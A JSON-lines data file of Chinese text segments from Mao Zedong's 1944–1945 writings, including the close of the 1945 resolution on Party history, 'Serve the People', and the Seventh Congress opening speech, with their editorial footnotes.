    {"text": "由于他们本来和无产阶级相接近，又自愿地加入无产阶级政党，在党的马克思列宁主义教育和群众革命斗争的实际锻炼中，他们是可以逐渐在思想上无产阶级化，并给无产阶级队伍以重大利益的； 而且在事实上，加入我党的小资产阶级出身的分子之绝大多数，也都为党和人民作了勇敢的奋斗和牺牲，他们的思想已经进步，很多人并已成为马克思列宁主义者了。"},
    {"text": "但是，必须着重指出：任何没有无产阶级化的小资产阶级分子的革命性，在本质上和无产阶级革命性不相同，而且这种差别往往可能发展成为对抗状态。"},
    {"text": "带着小资产阶级革命性的党员，虽然在组织上入了党，但是在思想上却还没有入党，或没有完全入党，他们往往是以马克思列宁主义者的面貌出现的自由主义者、改良主义者、无政府主义者、布朗基主义者 〔48〕 等等；"},
    {"text": "如果无产阶级先进分子不以马克思列宁主义的思想和这些小资产阶级出身的党员的旧有思想坚决地分清界限，严肃地、但是恰当地和耐心地进行教育和斗争，则他们的小资产阶级思想不但不能克服，而且必然力图以他们自己的本来面貌来代替党的无产阶级先进部队的面貌，实行篡党，使党和人民的事业蒙受损失。 党外的小资产阶级愈是广大，党内的小资产阶级出身的党员愈是众多，则党便愈须严格地保持自己的无产阶级先进部队的纯洁性，否则小资产阶级思想向党的进攻必然愈是猛烈，而党所受的损失也必然愈是巨大。"},
    {"text": "小资产阶级的思想方法，基本上表现为观察问题时的主观性和片面性，即不从阶级力量对比之客观的全面的情况出发，而把自己主观的愿望、感想和空谈当做实际，把片面当成全面，局部当成全体，树木当做森林。 脱离实际生产过程的小资产阶级知识分子，因为只有书本知识而缺乏感性知识，他们的思想方法就比较容易表现为我们前面所说的教条主义。 联系生产的小资产阶级分子虽具有一定的感性知识，但是受着小生产的狭隘性、散漫性、孤立性和保守性的限制，他们的思想方法就比较容易表现为我们前面所说的经验主义。"},
    {"text": "小资产阶级的这种倾向，在党内反映出来，就构成了我们前面所说的“左”倾路线在革命任务问题、革命根据地问题、策略指导问题和军事路线问题上的各种错误。"},
    {"text": "但是，这些小资产阶级革命家在另外一种情况下，或是另一部分小资产阶级革命家，也可以表现悲观失望，表现追随于资产阶级之后的右倾情绪和右倾观点。"},
    {"text": "一九二四年至一九二七年革命后期的陈独秀主义，土地革命后期的张国焘主义和长征初期的逃跑主义，都是小资产阶级这种右倾思想在党内的反映。"},
    {"text": "一般地说，在资产阶级和无产阶级分裂的时期，比较容易发生“左”倾错误（例如土地革命时期“左”倾路线统治党的领导机关至三次之多），而在资产阶级和无产阶级联合的时期，则比较容易发生右倾错误（例如一九二四年至一九二七年革命后期和抗日战争初期）。"},
    {"text": "由于各种情况的变化而产生的左右摇摆、好走极端、华而不实、投机取巧，是小资产阶级思想在坏的一面的特点。 这是小资产阶级在经济上所处的不稳定地位在思想上的反映。"},
    {"text": "由于一般小资产阶级的生活方式和思想方法的限制，特别由于中国的落后的分散的宗法社会和帮口行会的社会环境，小资产阶级在组织生活上的倾向，容易表现为脱离群众的个人主义和宗派主义。"},
    {"text": "这种倾向，不是自我牺牲地为党和人民工作，而是利用党和人民的力量并破坏党和人民的利益来达到个人和宗派的目的，因此它是同党的联系群众的原则、党的民主集中制和党的纪律不相容的。 这种倾向，常常采取各种各样的形式，如官僚主义、家长制度、惩办主义、命令主义、个人英雄主义、半无政府主义、自由主义、极端民主主义、闹独立性、行会主义、山头主义、同乡同学观念、派别纠纷、耍流氓手腕等，破坏着党同人民群众的联系和党内的团结。"},
    {"text": "我们党内历次发生的思想上的主观主义，政治上的“左”、右倾，组织上的宗派主义等项现象，无论其是否形成了路线，掌握了领导，显然都是小资产阶级思想之反马克思列宁主义、反无产阶级的表现。"},
    {"text": "因此，要克服错误的“左”倾思想或右倾思想，既不能草率从事，也不能操切从事，而必须深入马克思列宁主义的教育，提高全党对于无产阶级思想和小资产阶级思想的鉴别能力，并在党内发扬民主，展开批评和自我批评，进行耐心说服和教育的工作，具体地分析错误的内容及其危害，说明错误之历史的和思想的根源及其改正的办法。"},
    {"text": "扩大的六届七中全会指出：毛泽东同志在这次全党整风和党史学习中所采取的方针，即“惩前毖后，治病救人”，“既要弄清思想又要团结同志” 〔49〕 的方针，是马克思列宁主义者克服党内错误的正确态度的模范，因而取得了在思想上、政治上和组织上提高并团结全党的伟大成就。"},
    {"text": "这些斗争的缺点，是没有自觉地作为改造在党内严重存在着的小资产阶级思想的严重步骤，因而没有在思想上彻底弄清错误的实质及其根源，也没有恰当地指出改正的方法，以致易于重犯错误；"},
    {"text": "任何过去犯过错误的同志，只要他已经了解和开始改正自己的错误，就应该不存成见地欢迎他，团结他为党工作。 即使还没有很好地了解和改正错误，但已不坚持错误的同志，也应该以恳切的同志的态度，帮助他去了解和改正错误。"},
    {"text": "因此，全党今后的任务，就是在弄清思想、坚持原则的基础上加强团结，正像本决议的第二节上所说的：“团结全党同志如同一个和睦的家庭一样，如同一块坚固的钢铁一样，为着获得抗日战争的彻底胜利和中国人民的完全解放而奋斗”。 我们党关于党内历史问题的一切分析、批判、争论，是应该从团结出发，而又达到团结的，如果违背了这个原则，那就是不正确的。 但是鉴于党内小资产阶级思想的社会根源的存在以及党所处的长期分散的农村游击战争的环境，又鉴于教条主义和经验主义的思想残余还是存在着，尤其是对于经验主义还缺乏足够的批判，又鉴于党内严重的宗派主义虽然基本上已经被克服，而具有宗派主义倾向的山头主义则仍然相当普遍地存在着等项事实，全党应该警觉：要使党内思想完全统一于马克思列宁主义，还需要一个长时期的继续克服错误思想的斗争过程。 因此，扩大的六届七中全会决定：全党必须加强马克思列宁主义的思想教育，并着重联系中国革命的实践，以达到进一步地养成正确的党风，彻底地克服教条主义、经验主义、宗派主义、山头主义等项倾向之目的。 （七） 扩大的六届七中全会着重指出：二十四年来中国革命的实践证明了，并且还在证明着，毛泽东同志所代表的我们党和全国广大人民的奋斗方向是完全正确的。"},
    {"text": "党在个别时期中所犯的“左”、右倾错误，对于二十四年来在我党领导之下的轰轰烈烈地发展着的、取得了伟大成绩和丰富经验的整个中国革命事业说来，不过是一些部分的现象。"},
    {"text": "而且党正是在克服这些错误的斗争过程中而更加坚强起来，到了今天，全党已经空前一致地认识了毛泽东同志的路线的正确性，空前自觉地团结在毛泽东的旗帜下了。"},
    {"text": "以毛泽东同志为代表的马克思列宁主义的思想更普遍地更深入地掌握干部、党员和人民群众的结果，必将给党和中国革命带来伟大的进步和不可战胜的力量。"},
    {"text": "扩大的六届七中全会坚决相信：有了北伐战争、土地革命战争和抗日战争这样三次革命斗争的丰富经验的中国共产党，在以毛泽东同志为首的中央的正确领导之下，必将使中国革命达到彻底的胜利。"},
    {"text": "毛泽东说服了红一方面军中的干部，撤退围攻长沙的部队，接着又说服了干部放弃夺取中心城市九江和攻打其他大城市的意见，改变方针，分兵攻取茶陵、攸县、醴陵、萍乡、吉安等地，使红一方面军获得很大的发展。"},
    {"text": "在一九二三年和一九二七年青年团的第二、第四次全国代表大会上，先后被选为候补中央委员和中央委员，曾任团中央宣传部长、南方局书记和团中央机关刊物《中国青年》主编等职。"},
    {"text": "〔12〕 一九三五年秋，在陕北革命根据地（包括陕甘边和陕北），“左”倾机会主义路线被贯彻到政治、军事、组织各方面工作中去，使执行正确路线的、创造了陕北红军和革命根据地的刘志丹等遭到排斥。"},
    {"text": "〔15〕 参见斯大林《中国革命问题》、《中国革命和共产国际的任务》第二部分（《斯大林全集》第9卷，人民出版社1954年版，第199—207、259—267页）和《论页）。"},
    {"text": "〔16〕 见本书第一卷《湖南农民运动考察报告》等文。 〔17〕 见本书第一卷《井冈山的斗争》一文的《革命性质问题》部分。 〔18〕 见《星星之火，可以燎原》（本书第1卷第103页）。 〔19〕 见本书第一卷《中国的红色政权为什么能够存在？"},
    {"text": "〔20〕 一九三三年一月十七日，中华苏维埃临时中央政府、工农红军革命军事委员会发表宣言，向一切进攻革命根据地的国民党军队提议，在三个条件下订立停战协定，联合抗日。"},
    {"text": "〔21〕 参见本书第一卷《论反对日本帝国主义的策略》注〔17〕。 〔22〕 见本书第一卷《中国共产党在抗日时期的任务》注〔2〕。 〔23〕 见斯大林《论中国革命的前途》（《斯大林选集》上卷，人民出版社1979年版，第487页）。 〔24〕 见本书第一卷《中国的红色政权为什么能够存在？"},
    {"text": "〔27〕 参见斯大林《论列宁主义基础》第七部分《战略和策略》（《斯大林全集》第6卷，人民出版社1956年版，第131—147页）和《时事问题简评》第二部分《关于中国》。 这里的引语见《时事问题简评》（《斯大林全集》第9卷，人民出版社1954年版，第305页）。"},
    {"text": "〔28〕 见《井冈山的斗争》（本书第1卷第57页）。 〔29〕 见《井冈山的斗争》（本书第1卷第58页）。 〔30〕 见《井冈山的斗争》（本书第1卷第59页）。"},
    {"text": "〔35〕 见刘少奇《肃清关门主义与冒险主义》（《刘少奇选集》上卷，人民出版社1981年版，第25页）。 〔36〕 见刘少奇《关于过去白区工作给中央的信》。 〔37〕 以上三段引文见刘少奇《肃清关门主义与冒险主义》（《刘少奇选集》上卷，人民出版社1981年版，第26、28、30页）。"},
    {"text": "一九三三年在担任中央革命根据地中共福建省委的代理书记时，曾经认为党在闽西上杭、永定等边缘地区的工作条件比较困难，党的政策应当不同于根据地的巩固地区，而受到党内“左”倾领导者的打击。"},
    {"text": "当时这些领导者把他的意见错误地、夸大地说成是“悲观失望的”、“机会主义的、取消主义的逃跑退却路线”，并且开展了所谓“反对罗明路线的斗争”。"},
    {"text": "〔39〕 “三大纪律”、“八项注意”，是毛泽东等在第二次国内革命战争时期为中国工农红军制订的纪律，后来成为八路军新四军的纪律，以后又成为人民解放军的纪律。"},
    {"text": "〔41〕 见本书第一卷《中国革命战争的战略问题》第五章。 〔42〕 见一九三五年二月二十八日《中共中央关于冲破五次“围剿”的总结》。 〔43〕 见《论持久战》（本书第2卷第500页）。"},
    {"text": "〔45〕 见列宁《俄国社会民主党人的任务》（《列宁全集》第2卷，人民出版社1984年版，第443页）； 并见列宁《怎么办？ 》第一章第四节（《列宁全集》第6卷，人民出版社1986年版，第23页）。"},
    {"text": "〔46〕 见一九二八年四月十三日斯大林在联共（布）莫斯科组织的积极分子会议上所作的报告《关于中央委员会和中央监察委员会四月联席全会的工作》（《斯大林选集》下卷，人民出版社1979年版，第12页）。"},
    {"text": "为人民服务 为人民服务 * （一九四四年九月八日） 我们的共产党和共产党所领导的八路军、新四军，是革命的队伍。我们这个队伍完全是为着解放人民的，是彻底地为人民的利益工作的。张思德 〔1〕 同志就是我们这个队伍中的一个同志。 人总是要死的，但死的意义有不同。中国古时候有个文学家叫做司马迁的说过：“人固有一死，或重于泰山，或轻于鸿毛。” 〔2〕 为人民利益而死，就比泰山还重；替法西斯卖力，替剥削人民和压迫人民的人去死，就比鸿毛还轻。张思德同志是为人民利益而死的，他的死是比泰山还要重的。 因为我们是为人民服务的，所以，我们如果有缺点，就不怕别人批评指出。不管是什么人，谁向我们指出都行。只要你说得对，我们就改正。你说的办法对人民有好处，我们就照你的办。“精兵简政”这一条意见，就是党外人士李鼎铭 〔3〕 先生提出来的；他提得好，对人民有好处，我们就采用了。只要我们为人民的利益坚持好的，为人民的利益改正错的，我们这个队伍就一定会兴旺起来。 我们都是来自五湖四海，为了一个共同的革命目标，走到一起来了。我们还要和全国大多数人民走这一条路。我们今天已经领导着有九千一百万人口的根据地 〔4〕 ，但是还不够，还要更大些，才能取得全民族的解放。我们的同志在困难的时候，要看到成绩，要看到光明，要提高我们的勇气。中国人民正在受难，我们有责任解救他们，我们要努力奋斗。要奋斗就会有牺牲，死人的事是经常发生的。但是我们想到人民的利益，想到大多数人民的痛苦，我们为人民而死，就是死得其所。不过，我们应当尽量地减少那些不必要的牺牲。我们的干部要关心每一个战士，一切革命队伍的人都要互相关心，互相爱护，互相帮助。 今后我们的队伍里，不管死了谁，不管是炊事员，是战士，只要他是做过一些有益的工作的，我们都要给他送葬，开追悼会。这要成为一个制度。这个方法也要介绍到老百姓那里去。村上的人死了，开个追悼会。用这样的方法，寄托我们的哀思，使整个人民团结起来。 注 释 * 这是毛泽东在中共中央警备团追悼张思德的会上的讲演。 〔1〕 张思德，四川仪陇人，中共中央警备团的战士。他在一九三三年参加红军，经历长征，负过伤，是一个忠实为人民服务的共产党员。一九四四年九月五日在陕北安塞县山中烧炭，因炭窑崩塌而牺牲。 〔2〕 司马迁，中国西汉时期著名的文学家和历史学家，著有《史记》一百三十篇。此处引语见《汉书·司马迁传》中的《报任少卿书》，原文是：“人固有一死，死有重于泰山，或轻于鸿毛。” 〔3〕 李鼎铭（一八八一——一九四七），陕西米脂人，开明绅士。他在一九四一年十一月陕甘宁边区第二届参议会上提出“精兵简政”的提案，并在这次会议上当选为陕甘宁边区政府副主席。 〔4〕 这是指当时陕甘宁边区和华北、华中、华南各抗日根据地所拥有的人口的总数。"},
    {"text": "评蒋介石在双十节的演说 评蒋介石在双十节的演说 * （一九四四年十月十一日） 空洞无物，没有答复人民所关切的任何一个问题，是蒋介石双十演说的特色之一。"},
    {"text": "蒋介石大概是强烈地感到了敌人的这种威胁，只要看他向人民反复申述没有威胁，甚至说，“我自黄埔建军以来，二十年间，革命形势从来没有像今天这样的坚固”，就是他感到了这种威胁的反映。"},
    {"text": "说也奇怪，罗斯福一类的外国人，也和宋庆龄一类的国民党人、国民参政会的许多参政员以及一切有良心的中国人一样，都不相信蒋介石及其亲信们的好听的申辩，都“对我们军事政治纷纷议论”。"},
    {"text": "蒋介石对于此种现象感到烦恼，一向没有找出一个在他认为理直气壮的论据，直到今年双十节才找到了，原来却是他们相信了“敌寇汉奸造谣作祟”。"},
    {"text": "因为，对于国民党的寡头专政，抗战不力，腐败无能，对于国民党政府的法西斯主义的政令和失败主义的军令，敌寇汉奸从来没有批评过，倒是十分欢迎的。"},
    {"text": "关于改组国民政府及其统帅部一事，也没有听见什么敌寇汉奸说过半句话，因为保存现在这样天天压迫人民和天天打败仗的政府和统帅部，正是敌寇汉奸的希望。"},
    {"text": "由此看来，对于蒋介石及其一群的军事政治发生“纷纷议论”的人们，究竟是“莫明其妙”呢，还是已明其妙呢？ 这个“妙”的出处，究竟是“敌寇汉奸造谣作祟”呢，还是在蒋介石自己及其一群的身上呢？"},
    {"text": "有记性的中国人不会忘记，一九四一年，正当中国叛卖者们宣布解散新四军，中国人民起来制止内战危机的时候，在蒋介石的一次演说中，曾说：将来决不会有“剿共”战争，如果有的话，那就是讨伐叛逆的战争。"},
    {"text": "中国人民现在就要牢牢地记着，不知哪一天的早晨，蒋介石会要下令讨伐所谓“叛逆”的，那时的罪状就是“背叛民国”，就是“破坏抗战”，就是“如汪精卫之流之所为”。"},
    {"text": "蒋介石是擅长这一手的，他不擅长于宣布庞炳勋、孙良诚、陈孝强 〔1〕 一流人为叛逆，也不擅长于讨伐他们，但是他却擅长于宣布华中的新四军和山西的决死队 〔2〕 为“叛逆”，并且极擅长于讨伐他们。"},
    {"text": "中国人民决不要忘记，当着蒋介石声言不打内战的时候，他已经派遣了七十七万五千人的军队，这些军队正在专门包围或攻打八路军、新四军和华南的人民游击队。"},
    {"text": "文化工作中的统一战线 文化工作中的统一战线 * （一九四四年十月三十日） 我们的一切工作都是为了打倒日本帝国主义。日本帝国主义和希特勒一样，快要灭亡了。但是还须我们继续努力，才能最后地消灭它。我们的工作首先是战争，其次是生产，其次是文化。没有文化的军队是愚蠢的军队，而愚蠢的军队是不能战胜敌人的。 解放区的文化已经有了它的进步的方面，但是还有它的落后的方面。解放区已有人民的新文化，但是还有广大的封建遗迹。在一百五十万人口的陕甘宁边区内，还有一百多万文盲，两千个巫神，迷信思想还在影响广大的群众。这些都是群众脑子里的敌人。我们反对群众脑子里的敌人，常常比反对日本帝国主义还要困难些。我们必须告诉群众，自己起来同自己的文盲、迷信和不卫生的习惯作斗争。为了进行这个斗争，不能不有广泛的统一战线。而在陕甘宁边区这样人口稀少、交通不便、原有文化水平很低的地方，加上在战争期间，这种统一战线就尤其要广泛。因此，在教育工作方面，不但要有集中的正规的小学、中学，而且要有分散的不正规的村学、读报组和识字组。不但要有新式学校，而且要利用旧的村塾加以改造。在艺术工作方面，不但要有话剧，而且要有秦腔 〔1〕 和秧歌。不但要有新秦腔、新秧歌，而且要利用旧戏班，利用在秧歌队总数中占百分之九十的旧秧歌队，逐步地加以改造。在医药方面，更是如此。陕甘宁边区的人、畜死亡率都很高，许多人民还相信巫神。在这种情形之下，仅仅依靠新医是不可能解决问题的。新医当然比旧医高明，但是新医如果不关心人民的痛苦，不为人民训练医生，不联合边区现有的一千多个旧医和旧式兽医，并帮助他们进步，那就是实际上帮助巫神，实际上忍心看着大批人畜的死亡。统一战线的原则有两个：第一个是团结，第二个是批评、教育和改造。在统一战线中，投降主义是错误的，对别人采取排斥和鄙弃态度的宗派主义也是错误的。我们的任务是联合一切可用的旧知识分子、旧艺人、旧医生，而帮助、感化和改造他们。为了改造，先要团结。只要我们做得恰当，他们是会欢迎我们的帮助的。 我们的文化是人民的文化，文化工作者必须有为人民服务的高度的热忱，必须联系群众，而不要脱离群众。要联系群众，就要按照群众的需要和自愿。一切为群众的工作都要从群众的需要出发，而不是从任何良好的个人愿望出发。有许多时候，群众在客观上虽然有了某种改革的需要，但在他们的主观上还没有这种觉悟，群众还没有决心，还不愿实行改革，我们就要耐心地等待；直到经过我们的工作，群众的多数有了觉悟，有了决心，自愿实行改革，才去实行这种改革，否则就会脱离群众。凡是需要群众参加的工作，如果没有群众的自觉和自愿，就会流于徒有形式而失败。“欲速则不达” 〔2〕 ，这不是说不要速，而是说不要犯盲动主义，盲动主义是必然要失败的。在一切工作中都是如此；在改造群众思想的文化教育工作中尤其是如此。这里是两条原则：一条是群众的实际上的需要，而不是我们脑子里头幻想出来的需要；一条是群众的自愿，由群众自己下决心，而不是由我们代替群众下决心。 注 释 * 这是毛泽东在陕甘宁边区文教工作者会议上所作的讲演。 〔1〕 秦腔，又名梆子腔，是流行于中国西北地区的具有悠久历史的地方戏曲。 〔2〕 见《论语·子路》。"},
    {"text": "你们的大多数现在还不是干部，但是你们已经是群众中的骨干，群众中的核心，有了你们，工作就好推动了。 到了将来，你们可能成为干部，你们现在是干部的后备军。"},
    {"text": "你们有许多的长处，有很大的功劳，但是你们切记不可以骄傲。 你们被大家尊敬，是应当的，但是也容易因此引起骄傲。 如果你们骄傲起来，不虚心，不再努力，不尊重人家，不尊重干部，不尊重群众，你们就会当不成英雄和模范了。"},
    {"text": "如果哪一个地方的军民生活没有改善，为着反攻而准备的物质基础还不稳固，农业、工业、贸易不是一年一年地上涨，而是停止不进，甚至下降，便证明哪个地方的党政军工作人员还是没有学会经济工作，哪个地方就会遇到绝大的困难。"},
    {"text": "他们不从建立在个体经济基础上的、被敌人分割的、因而又是游击战争的农村环境这一点出发，他们就在政治问题上，军事问题上，经济问题上，文化问题上，党务问题上，工人运动、农民运动、青年运动、妇女运动等项的问题上，常常处理得不适当，或不大适当。"},
    {"text": "如果我们真正了解了我们所处的环境是一个建立在个体经济基础上的、被敌人分割的、因而又是游击战争的农村根据地，如果我们所做的一切都是从这一点出发，看起来收效很慢，并不轰轰烈烈，但是在实际上，比较那种不从这一点出发而从别一点出发，例如说，从城市观点出发，其工作效果会怎么样呢？"},
    {"text": "由于是农村，农民都是分散的个体生产者，使用着落后的生产工具，而大部分土地又还为地主所有，农民受着封建的地租剥削，为了提高农民的生产兴趣和农业劳动的生产率，我们就采取减租减息和组织劳动互助这样两个方针。"},
    {"text": "减租提高了农民的生产兴趣，劳动互助提高了农业劳动的生产率。 我已得了华北华中各地的材料，这些材料都说：减租之后，农民生产兴趣大增，愿意组织如同我们这里的变工队一样的互助团体，三个人的劳动效率抵过四个人。"},
    {"text": "如果不是采取强迫命令、欲速不达的方针，而是采取耐心说服、典型示范的方针，那末，几年之内，就可能使大多数农民都组织在农业生产的和手工业生产的互助团体里面。"},
    {"text": "这种生产团体，一经成为习惯，不但生产量大增，各种创造都出来了，政治也会进步，文化也会提高，卫生也会讲究，流氓也会改造，风俗也会改变；"},
    {"text": "如果我们的工作人员用心地研究这项工作，用极大的精力帮助农村人民展开生产运动，几年之内，农村就会有丰富的粮食和日用品，不但可以坚持战斗，不但可以对付荒年，而且可以贮藏大批粮食和日用品，以为将来之用。"},
    {"text": "不但要组织农民生产，而且要组织部队和机关一齐生产。 由于是农村，由于是经常被敌人摧残的农村，由于是长期战争的农村，部队和机关就必须生产。"},
    {"text": "拿陕甘宁边区说，部队和机关每年需细粮（小米）二十六万担（每担三百斤），取之于民的占十六万担，自己生产的占十万担，如果不自己生产，则军民两方势必有一方要饿饭。"},
    {"text": "第二个标准是除粮食被服两项由政府供给之外，其他如油（每人每日五钱）、盐（每人每日五钱）、菜（每人每日一斤至一斤半）、肉（每人每月一斤至二斤）、柴炭费、办公费、杂支费、教育费、保健费、擦枪费、旱烟、鞋子、袜子、手套、毛巾、牙刷等，一概生产自给，约占全部用费的百分之五十，可以在两年至三年内逐渐地做到。"},
    {"text": "总之，除有特殊情形者外，一切部队、机关，在战斗、训练和工作的间隙里，一律参加生产。 部队和机关，除利用战斗、训练和工作的间隙，集体参加生产之外，应组织专门从事生产的人员，创办农场、菜园、牧场、作坊、小工厂、运输队、合作社，或者和农民伙种粮、菜。"},
    {"text": "最近几年，我们边区部队从事大量的生产，衣食丰足，同时又进行练兵，又有政治和文化学习，这些都比从前有更大的成绩，军队内部的团结和军民之间的团结，也比从前更好了。"},
    {"text": "游击区也能够进行生产 游击区也能够进行生产 * （一九四五年一月三十一日） 我们在敌后解放区中那些比较巩固的根据地内，能够和必须发动军民的生产运动的问题，早已解决了，不成问题了。但是在游击区中在，敌后之敌后，是否也能够这样，在过去，在许多人的思想中，还是没有解决的，这是因为还缺少证明的缘故。 可是现在有了证据了。根据一月二十八日《解放日报》所载张平凯同志关于晋察冀游击队的生产运动的报道，晋察冀边区的许多游击区内，已于一九四四年进行了大规模的生产，并且收到了极好的成绩。张同志报道中所提到的区域和部队，有冀中的第六分区，第二分区的第四区队，第四分区的第八区队，徐定支队，保满支队，云彪支队，有山西的代县和崞县 〔1〕 的部队。那些区域的环境是很恶劣的：“敌伪据点碉堡林立，沟墙公路如网，敌人利用它的军事上的优势和便利的交通条件，时常对我袭击包，围，‘清剿’；游击队为了应付环境，往往一日数处地转移。”然而他们仍然能够于战争的间隙，进行了生产。其结果：“使得大家的给养有了改善，每人每日增加到五钱油和盐，一斤菜，每月斤半肉。而且几年没有用过的牙刷、牙粉和识字本，现在也都齐全了。”大家看，谁说游击区不能生产呢！ 许多人说：人稠的地方没有土地。果真没有土地吗？请看晋察冀：“首先在农业为主的方针下，解决了土地问题。他们共有九种办法：第一，平毁封锁墙沟；第二，平毁可被敌人利用的汽车路，在其两旁种上庄稼；第三，利用小块荒地；第四，协助民兵，用武装掩护，月夜强种敌人堡垒底下的土地；第五，与缺乏劳动力的农民伙耕；第六，部队化装，用半公开的形式，耕种敌人据点碉堡旁边的土地；第七，利用河沿，筑堤修滩，起沙成地；第八，协助农民改旱地为水地；第九，利用自己活动的村庄，到处伴种。” 农业生产是可以的，手工业及其他生产大概不能吧？果真不能吗？请看晋察冀：“沟线外部队的生产，不限于农业，而且也和巩固区一样，开展了手工业和运输业。第四区队开设了一个毡帽坊，一个油坊，一个面坊，七个月中盈利五十万元本币。不仅解决了本身困难，而且游击区群众的需要也解决了。毛衣毛袜等，战士们已能全部自给。” 游击区战斗那样频繁，军队从事生产，恐怕要影响作战吧？果真如此吗？请看晋察冀：“实现了劳力和武力相结合的原则，把战斗任务和生产任务同样看重。”“以第二分区第四区队为例。当春耕开始时，就派有专门的部队去打击敌人，并进行强有力的政治攻势。正因为这样，军事动作也积极了，部队战斗力也提高了。这个小部队从二月至九月初，作了七十一次战斗，攻下了朱东社、上庄、野庄、凤家寨、崖头等据点，毙伤敌伪一百六十五名，俘伪军九十一名，缴了三挺轻机枪，一百零一枝长短枪。”“把军事动作和大生产运动的宣传配合起来，马上进行政治攻势：‘谁要破坏大生产运动就打击谁。’代、崞等县城内敌人问老百姓：‘为什么八路军近来这么厉害？’老百姓说：‘因为你们破坏边区的大生产运动。’伪军在下面纷纷议论：‘人家搞大生产运动，可不要出去。’” 游击区人民群众是否也可以发动生产运动呢？那些地方，也许是还没有减租，或减租不彻底的，农民是否也有兴趣去增加生产呢？这一点，晋察冀那边也肯定地答复了。“沟线外部队生产运动的开展，还给了当地群众以直接的帮助。一方面，用武力掩护了群众的生产；另一方面，又用劳力进行了普遍的帮助。有的部队，规定了农忙时期以百分之五十的力量，无代价地帮助群众生产。群众生产情绪因此大大提高，军民关系更为融洽，群众都有了饭吃。游击区群众对共产党、八路军的同情和拥护，从此更增高一步。” 游击区能够和必须进行军民的大规模的生产运动，一切问题都解决了。我们要求一切解放区党政军工作人员，特别是游击区工作人员，从思想上完全认识这一点，认识这个“能够”和“必须”，事情就可以普遍地办起来。晋察冀边区也正是从这里开始的：“在沟线外部队的生产运动中，由于干部的思想转变，重视生产，重视劳力和武力相结合，培养了群众中的英雄模范（初步总结中，有六十六个英雄模范），仅仅五个月中，我们沟线外的部队，不仅在生产任务上按时完成了计划，而且特别有了许多实事求是的新创造。” 一九四五年，整个解放区，必须全体一致地从事一个比过去规模更大的军民生产运动，到今年冬季，我们来比较各区的成绩。 战争不但是军事的和政治的竞赛，还是经济的竞赛。我们要战胜日本侵略者，除其他一切外，还必须努力于经济工作，必须于两三年内完全学会这一门；而在今年——一九四五年，必须收到较前更大的成绩。这是中共中央所殷殷盼望于整个解放区全体工作人员和全体人民的，我们希望这一计划能够完成。 注 释 * 这是毛泽东为延安《解放日报》写的社论。 〔1〕 崞县，今山西省原平县。"},
    {"text": "两个中国之命运 两个中国之命运 * （一九四五年四月二十三日） 同志们！中国共产党第七次全国代表大会今天开幕了。 我们这个大会有什么重要意义呢？我们应该讲，我们这次大会是关系全中国四亿五千万人民命运的一次大会。中国之命运有两种：一种是有人已经写了书的 〔1〕 ；我们这个大会是代表另一种中国之命运，我们也要写一本书出来 〔2〕 。我们这个大会要打倒日本帝国主义，把全中国人民解放出来。这个大会是一个打败日本侵略者、建设新中国的大会，是一个团结全中国人民、团结全世界人民、争取最后胜利的大会。 现在的时机很好。在欧洲，希特勒快要被打倒了。世界反法西斯战争的主要的一部分是在西方，那里的战争很快就要胜利了，这是苏联红军努力的结果。现在柏林已经听到红军的炮声，大概在不久就会打下来。在东方，打倒日本帝国主义的战争也接近着胜利的时节。我们的大会是处在反法西斯战争最后胜利的前夜。 在中国人民面前摆着两条路，光明的路和黑暗的路。有两种中国之命运，光明的中国之命运和黑暗的中国之命运。现在日本帝国主义还没有被打败。即使把日本帝国主义打败了，也还是有这样两个前途。或者是一个独立、自由、民主、统一、富强的中国，就是说，光明的中国，中国人民得到解放的新中国；或者是另一个中国，半殖民地半封建的、分裂的、贫弱的中国，就是说，一个老中国。一个新中国还是一个老中国，两个前途，仍然存在于中国人民的面前，存在于中国共产党的面前，存在于我们这次代表大会的面前。 既然日本现在还没有被打败，既然打败日本之后，还是存在着两个前途，那末，我们的工作应当怎样做呢？我们的任务是什么呢？我们的任务不是别的，就是放手发动群众，壮大人民力量，团结全国一切可能团结的力量，在我们党领导之下，为着打败日本侵略者，建设一个光明的新中国，建设一个独立的、自由的、民主的、统一的、富强的新中国而奋斗。我们应当用全力去争取光明的前途和光明的命运，反对另外一种黑暗的前途和黑暗的命运。我们的任务就是这一个！这就是我们大会的任务，这就是我们全党的任务，这就是全中国人民的任务。 我们的希望能不能实现？我们认为是能够实现的。这个可能性是存在的，因为我们现在已经具备了这样几个条件： 第一，有一个经验丰富和集合了一百二十一万党员的强大的中国共产党； 第二，有一个强大的解放区，这个解放区包括九千五百五十万人口，九十一万军队，二百二十万民兵； 第三，有全国广大人民的援助； 第四，有全世界各国人民特别是苏联的援助。 一个强大的中国共产党，一个强大的解放区，全国人民的援助，国际人民的援助，在这些条件下，我们的希望能不能实现呢？我们认为是能够实现的。这些条件，在中国是从来没有过的。多少年来虽然有了一些条件，但是没有现在这样完备。中国共产党从来没有现在这样强大过，革命根据地从来没有现在这样多的人口和这样大的军队，中国共产党在日本和国民党统治区域的人民中的威信也以现在为最高，苏联和各国人民的革命力量现在也是最大的。在这些条件下，打败侵略者，建设新中国，应当说是完全可能的。 我们需要一个正确的政策。这个政策的基本点，就是放手发动群众，壮大人民的力量，在我们党领导之下，打败侵略者，建设新中国。 中国共产党从一九二一年产生以来，已经二十四年了，其间经过了北伐战争、土地革命战争、抗日战争这样三个英勇奋斗的历史时期，积累了丰富的经验。到了现在，我们的党已经成了中国人民抗日救国的重心，已经成了中国人民解放的重心，已经成了打败侵略者、建设新中国的重心。中国的重心不在任何别的方面，而在我们这一方面。 我们应该谦虚，谨慎，戒骄，戒躁，全心全意地为中国人民服务，在现时，为着团结全国人民战胜日本侵略者，在将来，为着团结全国人民建设新民主主义的国家。只要我们能够这样做，只要我们有正确的政策，只要我们一致努力，我们的任务是必能完成的。 打倒日本帝国主义！ 中国人民解放万岁！ 中国共产党万岁！ 中国共产党第七次全国代表大会万岁！ 注 释 * 这是毛泽东在中国共产党第七次全国代表大会上的开幕词。 〔1〕 指一九四三年出版的蒋介石《中国之命运》一书。 〔2〕 指毛泽东准备在这次大会上作的《论联合政府》的报告。"},
    {"text": "论联合政府 论联合政府 * （一九四五年四月二十四日） 一 中国人民的基本要求 我们的大会是在这种情况之下开会的：中国人民在其对于日本侵略者作了将近八年的坚决的英勇的不屈不挠的奋斗，经历了无数的艰难困苦和自我牺牲之后，出现了这样的新局面——整个世界上反对法西斯侵略者的神圣的正义的战争，已经取得了有决定意义的胜利，中国人民配合同盟国打败日本侵略者的时机，已经迫近了。"},
